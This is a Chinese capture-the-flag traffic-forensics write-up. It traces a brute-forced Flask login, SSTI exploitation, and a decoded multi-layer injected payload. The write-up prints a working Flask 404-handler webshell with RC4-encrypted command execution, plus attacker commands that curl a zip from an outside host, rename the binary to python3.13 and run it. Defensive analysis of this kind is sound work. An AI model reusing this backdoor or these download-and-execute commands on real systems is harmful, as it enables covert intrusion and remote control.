1.SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

因为是找爆破成功的流量。所以我们可以过滤HTTP流量,找到大量重复的请求区域之后看最后一个包。

在这个流量包里我们可以看到,其实攻击者前面很大一部分是在做的网站扫描的工作。到这里他扫描到了一个login也就是登录后台。这时他开始爆破。可以看到一般的爆破流量包是这样的。

可以看到他返回的状态码是200。

而拉到最后,看最后一个访问login的流量包。

返回状态码是302,表明他经过了一次跳转。说明此时他爆破出了真的密码。经过反馈密码正确之后将会跳到操作台界面。

此时第一道题的flag是flag{zxcvbnm123}

2.攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}

当然啦。攻击者爆破后台密码可不仅仅是为了玩这么简单,他肯定是想深入渗透的。那么从刚才的流量包往后看。

在这个包里,攻击者发现了SSTI漏洞并且输入了用于测试的{{7*7}}并成功返回49。下一个包攻击者就读取了当前模板引擎的配置信息。

继续追踪发现配置信息中含有第二个问题的答案。

配置信息解码之后是这样的。

1
<div style="padding:1rem;border:1px solid #ddd"><Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}></div>

所以正确答案是:flag{c6242af0-6891-4510-8432-e1cdf051f160}

3.攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

从第二题拿到相关信息证明注入可行性之后,就立马开始真正的注入了。追踪第二题的下一个包可以发现

为了绕过防御,他采用base64的方式编写payload,同时经过初步解码发现他套了不止一层的base64,并且还进行了倒置。

¯_(ツ)_/¯那没办法,只能上脚本了。(太tm阴了呀!艹)(╬ ̄皿 ̄)

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import base64
import zlib
import re

def unpack_layer(data: bytes, layer: int):
print(f"\n{'='*20} Layer {layer} {'='*20}")

try:
rev = data[::-1]
decoded = base64.b64decode(rev)
plain = zlib.decompress(decoded)
except Exception as e:
print("[-] 解码失败,可能已是最后一层")
return None

try:
text = plain.decode("utf-8", errors="ignore")
except:
text = repr(plain)

print(text[:1500]) # 防止一次性刷屏
print("\n[+] Length:", len(plain))

return plain


# ====== 起始 payload ======
payload = b"""=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"""

layer = 1
cur = payload
while True:
res = unpack_layer(cur, layer)
if not res:
break

# 尝试从源码中提取下一层 b'....'
m = re.search(rb"b'([^']{50,})'", res)
if not m:
print("\n[+] 未发现下一层 payload,可能已到最终逻辑")
break

cur = m.group(1)
layer += 1

最后大约进行了32次的解码循环,层层剥茧,拿到了攻击者的原初脚本(哎。那还真是不容易呀(ง •_•)ง,加油))

原始脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

这个脚本他重写了flask框架的404处理。任意访问不存在页面就会进入后门,不会影响正常业务,但同时单纯的扫描不会发现这个脚本

并且他又自定义了一个HTTP Header:X-Token-Auth只有通过这个响应头才能触发后门。

之后就是对命令执行的消息进行RC4加密。对于这道题来说,正确答案是flag{v1p3r_5tr1k3_k3y}

4.攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

第三题,攻击者不是上传一个木马脚本嘛,顺着第三题的流量包往后看,基本上都是命令执行的加密消息,可以通过第三题所说的特殊HTTP响应头判断。

以这个图像作为例子就是一个典型的命令执行之后的数据包。

以下是脚本对这些数据进行解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# RC4 decrypt the command from hex a6bc
import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)

enc_cmd = binascii.unhexlify("a6bc")
cmd = rc4_crypt(enc_cmd, RC4_SECRET)
print(cmd)

对剩余的数据包进行观察,发现它都有很明显的HTTP请求头的特征,证明从此后都是命令执行数据包。对从此向后的所有数据包进行解密,可以得到命令如下:

  1. id
  2. ls -al
  3. curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  4. unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
  5. mv /tmp/shell /tmp/python3.13
  6. chmod +x /tmp/python3.13
  7. /tmp/python3.13

从命令执行的顺序来看,这个黑客首先使用ID和查看了当前的用户以及当前的文件夹里文件的所需权限,之后再从黑客的服务器上下载了恶意的压缩包。然后存到了一个临时文件夹,命名成123.zip,最后输入密码解压压缩包。再把压缩包里边的shell命名成Python3.13,之后再赋予它执行权限,最后再执行这个shell。

所以这个木马文件最后的名字叫flag{python3.13}

5.请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

在前四题,我们已经把流量包分析得干干净净。现在就开始分析本体文件了。在第四题我们知道他上传了一个压缩包。所以我们可以导出HTTP对象,把压缩包提取出来,密码在第四题已经告诉我们了:nf2jd092jd01.然后再使用ida分析。找到main函数。

这是密钥的核心位置,它是先获取了一个4字节的随机数,然后通过字节序转换。循环得到四个rand()的值就是密钥。

所以这道题的关键就是seed的从哪里看?

在这个“密钥制造区域”的上方,也就是“网络连接区域”,创建了tcp套接字。所以我们可以过滤该套接字来找seed。

1
ip.addr == 192.168.1.201 && tcp.port == 58782

那么,34952046就是seed的值。

于是仿照密函数中密钥的程方式可以得到如下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import ctypes
import struct

def reconstruct_key():
# 加载 glibc(与 ELF 样本一致)
libc = ctypes.CDLL("libc.so.6")

# seed:作为 16 进制字节串处理
seed_hex = "34952046"
seed_bytes = bytes.fromhex(seed_hex)
seed = int.from_bytes(seed_bytes, byteorder="big")

# 初始化 PRNG
libc.srand(seed)

# 生成 128-bit key(4 × rand)
key = b""
for i in range(4):
r = libc.rand() # glibc rand()
key += struct.pack("<I", r)

print("flag{" + key.hex() + "}")

if __name__ == "__main__":
reconstruct_key()

#ac46fb610b313b4f32fc642d8834b456